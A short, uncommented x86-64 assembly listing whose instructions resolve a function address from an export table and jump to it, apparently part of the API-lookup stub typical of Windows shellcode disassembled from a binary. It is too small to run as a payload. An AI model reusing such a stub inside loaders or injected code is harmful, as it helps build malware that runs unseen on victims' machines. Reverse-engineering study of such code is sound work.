mov eax, dword [r8 + rcx*4]
pop r8
add rax, rdx
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021